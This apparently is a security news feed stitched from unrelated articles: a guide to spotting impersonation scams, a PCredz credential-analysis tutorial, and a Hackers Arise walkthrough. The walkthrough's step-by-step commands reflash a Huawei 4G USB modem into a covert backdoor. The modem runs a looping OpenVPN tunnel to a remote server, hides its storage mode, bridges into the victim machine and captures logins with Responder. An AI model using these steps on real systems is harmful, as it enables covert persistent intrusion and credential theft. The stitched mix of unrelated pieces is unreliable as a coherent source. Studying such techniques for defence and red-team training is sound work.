Switching your DNS server to 1.1.1.1 is common advice, and for good reason: it is reliable, fast, and theoretically, better for your privacy.
Unpatched voting machines, unverifiable QR-coded ballots, and AI-driven influence campaigns leave US elections short of secure.
The post How Secure Are US Elections? Voting Machine Risks andΒ the Growing Threat of AI appeared first on SecurityWeek.
A message lands on Telegram: βHi, Iβm Daniel from the security team at your exchange. We saw a login from a new device. Please confirm your wallet so we can protect your funds.β The profile photo shows the company logo. The English is good. Daniel is patient, and he knows your username.
Daniel does not work at the exchange. He works for a scam crew, and the βconfirm your walletβ link empties yourΒ wallet.
People reported losing $3.5 billion to imposter scams in 2025, and nearly $1 billion of that went to people pretending to be a business, according to the FTCβs June 2026 report. The FBIβs figure for crypto is bigger. Victims told its Internet Crime Complaint Center they lost $11.4 billion to crypto-related crime in 2025, more than half of all the losses it counted that year (IC3 2025Β report).
A lot of those losses started the same way. Someone claimed to work for a company, and the victim took their word for it. Some victims did not know how to check. Others saw a familiar name, a logo and a confident tone, and felt noΒ need.
The checks run from a 30-second test to reading the hidden part of an email. If you only have time for two, use the first and the tenth: both are free, and both are very hard for a scammer toΒ fake.
Never use the contact details a stranger gives you to check that stranger.
If βDanielβ sends you a phone number, a website or an email address and says βcontact us here to confirmβ, all three belong to Daniel. Calling the number he gave you only proves that Daniel answers his ownΒ phone.
Every check in this list works the same way. You find the companyβs official channel yourself, from a source the stranger did not hand you. Then you ask that channel whether the person isΒ real.
It looks official, so we assume it is. A logo, a job title and a company name take a minute to copy. Real staff photos sit on LinkedIn and on company βTeamβ pages for anyone to download.
They already know something about us. Your username, your last order or the exchange you use is often public, or leaked in a data breach. Knowing those details says nothing about who the senderΒ is.
There is a clock. βYour account will be frozen in 30 minutes.β The deadline is there to stop you checking. A real company will still exist after you spend ten minutes confirming.
The more urgent the message, the slower you shouldΒ move.
Type the companyβs address into your browser by hand, or use a bookmark you saved earlier. Skip links in the message and skip search ads, because scammers buy ads for fake support pages. Find the support page or contact form and ask: βSomeone called Daniel, Telegram @daniel_sec_team, says he works on your security team and contacted me today. Is thatΒ real?β
Example. A βrecruiterβ emails about a job at a well-known firm. You open the firmβs careers page from a bookmark. The role is not listed, and the HR address on the page is another one. The recruiter does not work for theΒ firm.
The catch is speed. If support takes two days to reply, wait two days, and do nothing the stranger asks in the meantime.
Many crypto exchanges now run a page where you paste a username, email, phone number or link, and it tells you whether the contact is official. Three examples:
Example. βBinance supportβ adds you on Telegram as @BinanceSupportDesk. You paste the handle into Binance Verify, and it comes back as not official. Block the account and reportΒ it.
Reach these tools by typing the exchangeβs main address yourself and looking in its Help Center for βverifyβ or βofficial channelβ. If the stranger sends you a link to a βchecking toolβ, that link is theΒ trap.
A tool can confirm that an address belongs to the company. It cannot confirm that an email really came from that address, because the From line can be forged. Bybitβs own help page warns about this. For email, add checkΒ 5.
Ask the person to prove it on a channel only the company controls. Better still, contact that channel yourself. Here is a message you canΒ send:
βBefore I continue, please send me a DM from @ExampleExchange, the official account, confirming you work there and what this is about. Or I can DM that account andΒ ask.β
A real employee will say βsureβ or send you to the official support channel. A scammer will make excuses: βThat account is for marketing onlyβ, βour team canβt access itβ, βthis is confidential.β Each of those excuses means the person cannot proveΒ it.
Make sure you have the right official account. Open it from a link on the companyβs own website, since search results can show copycat accounts. It should have years of posts and the follower count you wouldΒ expect.
Then look for Xβs affiliate badge. Companies that pay X to verify their brand can link their staff accounts. An affiliated employee shows a small copy of the companyβs profile picture next to their name, and tapping it opens the companyβs account. A plain blue tick on a personal account says nothing about employment, because anyone can buyΒ one.
Official accounts do get hacked. If the official account suddenly DMs you first with a link, treat that as suspicious too. Most companies never start private conversations about yourΒ account.
A real employee can email you from a work address in a minute. Ask for it. A recruiter or βpartnerβ who only uses Gmail, Outlook.com, Telegram or WhatsApp fails thisΒ test.
Then read the address slowly. Say the real company is Example Exchange at example.com. Each of these addresses isΒ fake:
Two more things to check in the sameΒ email:
A correct domain is a good start. On its own it can still be forged, which is why check 5 comesΒ next.
Every email carries test results that show whether it really came from the domain in the From line. Your inbox runs these tests already. You just have toΒ look.
In Gmail, open the email, click the three dots and choose βShow originalβ. In Outlook, open the message, then More actions, View, βView message sourceβ. In Apple Mail, choose View, Message, RawΒ Source.
Find the line that starts with Authentication-Results. A real email from example.com looks likeΒ this:
dkim=pass header.d=example.com; spf=pass smtp.mailfrom=example.com; dmarc=pass header.from=example.com
In plainΒ words:
Warning signs: dmarc=fail, spf=fail, dkim=none, or a pass for some other domain, such as dkim=pass header.d=bulk-mailer-7.net on an email that claims to be from example.com.
Example. An email from βsecurity@example.comβ asks you to reset your password. Gmailβs βShow originalβ says dmarc=fail header.from=example.com. The From line is forged. Delete theΒ email.
A DMARC pass means the email left a mail system the company approved. A hacked staff mailbox passes too, and forwarded emails sometimes fail SPF while being genuine. Treat the result as strong evidence and combine it with the otherΒ checks.
Raw email source is hard to read. A chatbot such as ChatGPT, Claude or Gemini can read it for you and point at the parts that lookΒ wrong.
βBelow is the raw source of an email, including headers and HTML. I think it may be a phishing email pretending to be from example.com. Please check: (1) Do SPF, DKIM and DMARC pass, and for which domain? (2) Does the From address match the Return-Path and Reply-To? (3) List every link in the HTML and show where it really points, compared with the text shown to me. (4) Are any domains lookalikes of example.com? (5) Anything else suspicious? Quote the exact lines you relyΒ on.β
AI is good at this job. It will catch a link whose visible text says https://example.com/login while the code behind it points to https://example-com.login-verify.app, and it spots lookalike domains and hidden text far faster than most peopleΒ do.
Example. You paste a βyour withdrawal is on holdβ email. The chatbot lists four links. Three go to example.com. The βRelease fundsβ button goes to a domain nobody at the company owns, and that button is theΒ scam.
Chatbots also make mistakes in both directions. An email that βlooks fineβ to a chatbot can still come from a hacked real account. Make it quote the lines it relies on, then check those lines yourself. Never paste passwords, seed phrases or one-time codes into anyΒ chatbot.
Before you click anything, hover over the link on a computer, or press and hold it on a phone, to see the real address. Read the domain from the right, as in checkΒ 4.
Then look up when the domain was created. Paste it into the ICANN lookup and check the βCreatedβ date. A company that has existed for ten years does not send security alerts from a domain registered lastΒ Tuesday.
Example. A βpartnership managerβ from a known crypto project emails from bd@exampleprotocol-team.com. ICANN lookup shows the domain was created nine days ago. The project's real site has used a different domain sinceΒ 2021.
A brand-new domain is a strong warning sign. An old domain proves less, because some scam domains sit unused for months before they areΒ used.
A LinkedIn profile is easy to fake. A good fake still leaves gaps you canΒ spot.
A long history plus a workplace check is good evidence that the person exists and works there. It does not show that the person messaging you on another app is the same person, so always confirm on the profileΒ itself.
Many companies publish who speaks forΒ them:
Example. You post a question in a projectβs Discord, and βMod Alexβ sends you a private message offering help. You check the serverβs member list. The real Alex has a staff role and a different username. The account in your DMs joined the server yesterday.
Lists go stale when people leave, so when the stakes are high, confirm with check 1 asΒ well.
If someone phones you from βthe companyβ, hang up and call the number on the companyβs website or on the back of your card. Ask to be put through to that person or department.
Example. βYour bankβs fraud teamβ calls and asks you to move savings to a βsafe accountβ. You hang up and dial the number printed on your bank card. The bank has no record of the call. The FTC says bank impersonators caused the largest reported losses among business imposters in 2025, and these scams often end with victims persuaded to move money to βprotectβ it.
This check is hard to beat. Use another phone if you can, because some scams keep the line open after you hangΒ up.
Crypto has a check that nobody can fake without the private key. If a project or team member claims to control a wallet the project lists publicly, ask them to sign a message withΒ it.
A valid signature proves the signer controls that wallet. Whether the wallet belongs to the project depends on where you found the address, which is why step 1Β matters.
Plenty of people still treat a video call as the final word. Since 2024 that has been a costly habit. In January 2024, a finance employee at the Hong Kong office of engineering firm Arup joined a video call with what looked like the companyβs CFO and other colleagues. Every other face on the call was a deepfake. The employee made 15 transfers worth HK$200 million, about $25.6 million, before checking with the head office, Hong Kong police said. Arup later confirmed to CNN that fake voices and images wereΒ used.
If a video call is part of the story, confirm through a second channel you found yourself: the company switchboard, the official X account or a work email you already confirmed with checks 4 and 5. Ask for a calendar invite sent from the company domain, and run check 5 onΒ it.
Spend a minute on a webΒ search:
Also look for the companyβs own warnings. Many companies publish lists of fake domains and copycat tricks on their blog or HelpΒ Center.
If others have reported the same handle or domain, you know it is a scam within a minute. An empty search proves nothing, because a new scam has no reportsΒ yet.
Some requests are scams however well the person passes these 13 checks, because a hacked real account can pass every test. Nothing makes these requestsΒ safe:
When you see one of these, stop. You donβt owe anyone a politeΒ goodbye.
The message. β@ExampleEx_Supportβ writes: βYour withdrawal is stuck. Connect your wallet at example-unlock.com to releaseΒ it.β
The checks.
Verdict. Scam. Block the account and report it to the exchange and to Telegram.
The message. A LinkedIn profile titled βSenior Talent Partner at Example Labsβ offers $180,000 for a remote developer role. The next step is a βtechnical testβ: download a code repository and run it on yourΒ laptop.
The checks.
Verdict. Scam. If you already ran the code, treat the laptop as compromised. Move any crypto to a new wallet created on a clean device, and change your passwords from thatΒ device.
The message. βHi, I lead business development at Example Exchange. Weβd like to list your token. Please sign the attached agreement and pay the $15,000 listing deposit.β
The checks.
Verdict. Scam. The email passed DMARC for its own lookalike domain, which is why reading the domain letter by letter (check 4) comes before the headerΒ check.
Before you share anything, pay anything or click anything:
If any line fails, stop and confirm through a channel you found yourself.
Act in thisΒ order:
Contact the company through a channel you found yourself, such as its official website or official X account, and ask whether the person works there. Back that up with the companyβs checking tool if it has one, a work email from the real domain that passes DMARC, and LinkedInβs workplace check.
Yes. Anyone can buy a blue checkmark, and it says nothing about employment. On X, staff linked to a verified company show an affiliate badge, a small copy of the companyβs logo next to their name. Official accounts can still be hacked, so pair the badge with a secondΒ check.
No. The From address can be forged, which is why you check for dmarc=pass in the raw headers. A real staff mailbox can also be hacked, and a hacked mailbox passes every check. If the email asks for anything on the requests list, treat it as a scam even when the headersΒ pass.
AI is very good at reading raw email source and finding fake links, lookalike domains and failed SPF, DKIM or DMARC results. It still makes mistakes. Use it to point at the suspicious lines, check those lines yourself, and remove your personal details before youΒ paste.
Most large crypto exchanges say their staff will not start private chats about your account and will never ask for funds, passwords or codes. Check the companyβs Help Center for its own policy, and treat any unprompted private message as unconfirmed until you checkΒ it.
Ask for an email from the company domain, find the role on the companyβs own careers page, and search the recruiterβs name on the companyβs LinkedIn People tab. Never pay a fee, buy equipment through the recruiter, or install software as part of an interview.
Stop replying, block the account, and report it to the real company and to the platform where you met. If you shared anything or sent money, follow the steps under βIf you already replied orΒ paidβ.
Gaurav Agarwal writes about crypto security and on-chain investigations. If a scam message reached you that these checks did not cover, describe it in the comments, without personal details, and I will add a check forΒ it.
How to Verify Someone Really Works for a Company: 13 Checks was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.
PCredz is a network credential analysis tool that examines packet captures to identify potentially exposed authentication data. Security professionals can use it to investigate insecure protocols, understand credential exposure, and identify weaknesses in network authentication.
Welcome back, fellow cybersecurity enthusiasts!
In this tutorial, we will explore PCredz, a tool used for network traffic analysis, credential exposure assessment, PCAP analysis, and authentication security testing. Rather than manually inspecting every packet, PCredz can help identify supported authentication artifacts within captured network traffic.
Understanding how credentials travel across a network is an important part of ethical hacking, penetration testing, incident response, and defensive cybersecurity. Analyzing these artifacts can help organizations discover legacy authentication protocols and reduce the risk of credential theft.
Official GitHub repository: PCredz on GitHub
PCredz is an open-source tool designed to extract supported credential artifacts and other sensitive information from network packet captures. It is useful when examining traffic generated by older protocols or authentication mechanisms that may expose sensitive information.
Depending on the protocol and the available packet data, PCredz can identify artifacts associated with authentication mechanisms such as NTLM and Kerberos, as well as certain HTTP authentication methods and credentials associated with services such as FTP, POP, SMTP, and IMAP.
It may also identify other sensitive data patterns, including certain payment-card number patterns and SNMP community strings. Detection depends on the capture contents, protocol support, and tool version.
A critical distinction is that finding an authentication artifact does not automatically mean that a valid, reusable password has been recovered. Some protocols expose hashes, challenge-response exchanges, or other material that requires further analysis.
PCredz can process supported packet capture files, making it useful for investigating previously recorded traffic. PCAP files may contain evidence of insecure authentication, accidental data exposure, or legacy protocols that should be reviewed.
The tool can help identify supported authentication-related data, including certain NTLM and Kerberos artifacts. These findings can support a wider security assessment of authentication configurations and network exposure.
Depending on the captured traffic and implementation, the tool can inspect authentication exchanges associated with several common network services. Support for IPv4 and IPv6 traffic also makes it relevant to mixed network environments.
PCredz can write discovered artifacts to output files, including a credential dump file. Structured output helps security analysts review findings, document evidence, and investigate potential exposure without manually collecting every result.
PCredz is relevant to both offensive security assessments and defensive network investigations when its use is explicitly authorized.
Security teams can analyze approved packet captures to determine whether legacy services or authentication configurations expose sensitive data. The results can help prioritize the migration of insecure services and the improvement of network segmentation.
During an investigation, analysts may inspect existing packet captures for authentication artifacts associated with suspicious activity. Any discovered credentials or hashes should be handled as sensitive evidence and stored securely.
Older business environments may still contain services that use outdated authentication mechanisms or transmit information without adequate protection. PCredz can help identify evidence of these weaknesses when relevant traffic is available.
In a controlled lab, PCredz can demonstrate why encrypted transport, modern authentication, and strong network security policies matter. Students can compare insecure and secure authentication configurations using traffic generated specifically for the exercise.
PCredz is available through its official GitHub repository. Before installation, review the repository's current instructions and dependencies. The commands below illustrate a basic Linux setup; exact requirements may vary with the current version of the project and your distribution.
On Debian-based systems, such as Kali Linux, update the package index and install Python virtual environment support and relevant development dependencies.
Loginsudo apt update
sudo apt install python3 python3-venv python3-pip
sudo apt install libpcap-dev file gitgit clone https://github.com/lgandx/pcredz.git
cd pcredzA Python virtual environment keeps project dependencies separate from system-wide Python packages. This is particularly useful on recent Kali Linux and Debian releases, where system Python environments are managed by the operating system.
python3 -m venv pcredz-env
source pcredz-env/bin/activateCheck the repository for its current dependency instructions before installing packages. If the project provides a requirements file, review it and install the documented dependencies inside the activated environment.
python -m pip install --upgrade pip
# If the repository provides requirements.txt:
python -m pip install -r requirements.txtDo not assume that every version of PCredz uses the same dependency list. If installation fails, consult the official repository documentation and the error message before changing system packages.
Live traffic analysis involves examining packets as they pass through a network interface. It can help authorized network administrators identify insecure authentication exchanges and investigate suspicious network activity.
Before performing live capture, identify the correct interface and verify
that the capture is approved by the network owner. Interface names differ
between systems, so do not assume that every machine uses eth0.
To list available interfaces, use:
ip -br addrFor an authorized assessment, follow the current usage instructions provided by the official PCredz repository. Confirm that the selected interface is appropriate and that the capture scope is limited to the approved environment.
Capturing on an interface does not guarantee visibility into all network traffic. Switching infrastructure, VLAN configuration, Wi-Fi encryption, virtualization, and network topology can affect which packets are observable.
Offline PCAP analysis allows investigators to examine previously captured network traffic without continuously monitoring a live interface. This can be useful for incident response, security audits, and controlled training exercises.
PCAP files are commonly generated by packet analysis tools such as Wireshark and tcpdump.
Open the authorized PCAP file in Wireshark and examine the relevant protocols, endpoints, and authentication exchanges. Display filters can help narrow the investigation to specific protocols or conversations.
When reviewing a capture, pay particular attention to:
When using PCredz against an authorized capture, consult the current repository documentation for the supported command-line options.
The project's documented usage includes options for processing a capture file or a directory of captures. Confirm the precise syntax for your installed version before running an analysis.
After processing, store the results in a protected directory. Review the output carefully, because a discovered artifact may require additional context before it can be classified as a security finding.
PCredz and Hashcat serve different purposes in a security assessment.
PCredz identifies supported credential-related artifacts in captured network traffic. Hashcat is a password recovery and password-strength auditing tool that supports many hash formats.
Some authentication artifacts identified by PCredz may be suitable for further analysis with a compatible password-auditing tool. Compatibility depends on the exact artifact format, the protocol, and the supported mode in the installed version.
For example, Hashcat documents different modes for certain NTLM and Kerberos-related formats. A mode number must not be selected solely from a generic label: analysts should verify the exact format against the official documentation.
Hash analysis can help organizations determine whether their password policies resist common guessing attacks. A recovered password, however, does not by itself establish that an account is currently accessible or that the account has elevated privileges.
Official resource: Hashcat.
Credential exposure can allow an attacker to impersonate users, access internal services, or attempt further compromise. The actual risk depends on the credential type, account privileges, network architecture, and additional security controls.
Replace insecure protocols with appropriately configured encrypted alternatives. Use HTTPS for web applications and secure configurations for remote administration, email, and file transfer.
Use modern authentication mechanisms wherever possible. Disable obsolete authentication methods when they are no longer required, and enforce multifactor authentication for sensitive accounts and remote access.
Encourage unique passwords and use an approved password manager. Privileged accounts should have separate credentials and carefully controlled access.
Give users and services only the permissions they need. Segment sensitive systems and restrict unnecessary communication between network zones.
Monitor authentication logs for suspicious access, repeated failures, unusual source systems, and unexpected use of privileged accounts. If credential exposure is confirmed, follow the incident response process, rotate affected credentials, and revoke compromised sessions where appropriate.
No. PCredz is primarily used to identify supported artifacts in network traffic. Whether a password can be recovered depends on the data captured, the authentication protocol, and the availability of a compatible analysis method.
No. Properly configured HTTPS encrypts application traffic in transit. A normal packet capture generally cannot reveal the protected application contents simply because PCredz is being used.
Not necessarily. A hash or authentication exchange must be assessed in context. Its security impact depends on the protocol, account status, password strength, and whether the artifact can be abused.
No. Live capture may help investigate current activity, while offline analysis is often more suitable for examining preserved evidence. The right approach depends on the investigation scope, authorization, and operational requirements.
PCredz is a useful tool for understanding credential exposure in network traffic. By examining authorized packet captures, cybersecurity professionals can identify authentication artifacts, investigate legacy protocols, and discover weaknesses that require remediation.
However, the value of PCredz goes beyond extracting data. Its findings can help organizations improve encryption, modernize authentication, reduce password reuse, and strengthen their incident response practices.
For anyone learning network security, the key takeaway is simple: understanding how authentication data moves across a network is essential to protecting it.
For more cybersecurity tutorials, ethical hacking resources, OSINT guides, and network security insights, visit Hackersking.
Β© AP Photo/Pablo Martinez Monsivais
Β© The Associated Press
Welcome back, aspiring cyberwarriors!
Previously, we had a few articles showing what crafty hackers can do to attack your system with a USB drive. Today weβll cover yet another approach they might take, turning a USB modem into a persistence mechanism. As always, weβll discuss practical ways to protect yourself from it.
When hackers have physical access to a potential victimβs computer, they arenβt limited to one-time actions. With just a few minutes, they can establish a persistent communication channel that continues to function long after theyβve walked away. This can be achieved using a regular USB modem thatβs been slightly modified in advance.
Modern 4G USB modems, especially those based on the HiLink architecture, are more powerful than they appear. Although they look like slightly oversized flash drives, theyβre small computers running a full operating system. Many of these devices run embedded Linux environments, sometimes alongside other systems such as VxWorks for handling GSM communication. These modems are autonomous. Theyβre powered directly through USB, they boot within seconds, and they present themselves to the host computer as a network interface.
A popular example is the Huawei E3372h-153. It has strong community support, accepts modified firmware, and includes everything needed to build an independent communication channel. When you connect this thing, it behaves like a virtual Ethernet adapter. To the OS it looks like just another network card. But inside that modem you have a full system capable of running scripts, managing connections, and interacting with the host machine. The computer believes itβs simply using a network interface, while the modem itself can communicate with external infrastructure over the mobile network. Unlike traditional implants, this one doesnβt depend on the victimβs internal network at all.
There are commercially available tools designed for similar purposes (LAN Turtle), but they typically rely on existing network connectivity. They donβt have an independent 4G communication channel.
From an engineering perspective, the device is already almost perfect. It draws power directly from USB and uses its own 4G connection, so it will communicate even in isolated environments.Β
To unlock its potential, we will need to modify the firmware. After reflashing, the internal operating system will automatically establish a VPN connection to a remote control server using the mobile network.
The first step is gaining access to the modemβs internal system. You can do it using Telnet or ADB:
kali > telnet 192.168.8.1
kali > adb connect 192.168.8.1:5555Then we need to enable debugging features to configure things:
modem > curl http://192.168.8.1/html/switchDebugMode.html
modem > minicom -D /dev/ttyUSB0With debug mode enabled, the firmware can be replaced:
modem > at^godload # Enter firmware mode. The modem will reboot
modem > sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.
00_M_AT_05.10_nv.exeAfter rebooting, the modem usually presents itself as multiple devices, including a virtual CD-ROM and storage. These features are unnecessary and may reveal the deviceβs presence, so they should be disabled:
modem > AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 # Disable CD-ROM mode on startup, enable RNDIS/CDC
AT^RESET # RebootNext comes a subtle but important adjustment. The DHCP configuration is modified so the modem does not present itself as a gateway. This helps avoid interfering with the host systemβs routing behavior and keeps the device less noticeable:
modem > cat <<EE > /data/config
Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EEThe config file will look like this:Β
To establish remote control, an OpenVPN client is installed directly on the modem. Precompiled binaries are here.
Here is how:
modem > adb push tun.ko /online/ovpn/
modem > adb push openvpn /online/ovpn/
modem > adb push vds.ovpn /online/ovpn/
modem > cat <<EE > /data/vpn.sh
#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn
--route-noexec; done
EE
modem > chmod 700 /data/vpn.sh
modem > busybox passwd
modem > rebootThe VPN runs in a continuous loop, so even if the connection drops, it wonβt be a problem. Finally, autorun scripts and routing rules are configured so that traffic flows correctly between the 4G network and the target machine:
modem > mount -o remount,rw /dev/block/mtdblock16
modem > cat <<EE >> /system/etc/autorun.sh
/data/autorun.sh &
EE
modem > cat <<EE > /data/autorun.sh
#!/system/bin/busybox sh
killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE
modem > chmod 700 /data/autorun.shThe autorun script should look like this:
At this point, the modem has become a self-contained communication bridge.
When deployed, the hardware backdoor does not look impressive. That is its strength. It resembles a slightly larger USB flash drive.
Because the device uses a mobile network, it does not rely on the internal infrastructure of the organization. Even if the local network has no internet access, the modem maintains a stable connection to the outside world.
Hackers can connect to the same VPN server from another device, linking themselves to the compromised machine. The modem forwards traffic in a reverse direction being a gateway into the target system.
This method of persistence provides network access only to the machine the modem is connected to. To make attacking the target system easier, it may be necessary to establish an L2VPN tunnel that is closer to the target. This requires creating another VPN tunnel inside the existing one. If the first VPN is used solely for communication with the device lan_turtle, the second one provides the maximum possible network access to the computer through the USB-emulated network.Β
To achieve this, we need to run a few commands inside the USB modem. These commands will create a VPN tunnel and place the newly created virtual interface into a network bridge together with the USB interface. Inside the modem run these commands:
modem > ./openvpn --config l2.ovpn --route-noexec
modem > brctl addif br0 tap1
modem > ifconfig tap1 0Here is an example of the l2.ovpn file:
The L2VPN interface will have an IP address, which is not actually needed since OpenVPN is already running. It can be reset, after which the interface can simply be added to the bridge. As a result, L2 packets from the compromised machine will flow into the VPN interface. This means the hacker doesnβt just gain logical network access to the target PC, but they will see it as if they were directly plugged into it with a regular Ethernet cable.
On the hackerβs side, it is only necessary to connect to the modem and establish a VPN tunnel, then manually assign it an IP address from the subnet of the victim computerβs network adapter:
kali > sudo openvpn --config lan_turtle.ovpn --route-noexec
kali > sudo ifconfig tap0 192.168.8.200/24The configuration file for connecting to lan_turtle to establish an L2VPN tunnel is lan_turtle.ovpn and it looks like this:
With this setup, the hacker gains direct access to the internal network. Responder can then be used to capture auth data:
kali > responder -I tap0 -d -w -FAlthough the technique is technically sophisticated, you only need physical USB access. Because of that, defensive strategies are simple.
Organizations should treat USB ports as sensitive interfaces. Restricting unknown devices, disabling USB-based network adapters through system policies, and regularly inspecting machines can help you reduce risk. Just as importantly, physical access must be controlled. Even the most advanced software defenses cannot protect a system if someone is allowed to plug in their own hardware.
The Huawei E3372h-153 and similar devices can be used for persistence, using their own mobile data connection to maintain remote access independent of the victimβs network. Modified modems can automatically set up VPN tunnels and persistently reconnect, which creates a backdoor into the system even after they leave.
If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.
The post Social Engineering: Modem-Based Persistence in a Compromised Environment first appeared on Hackers Arise.
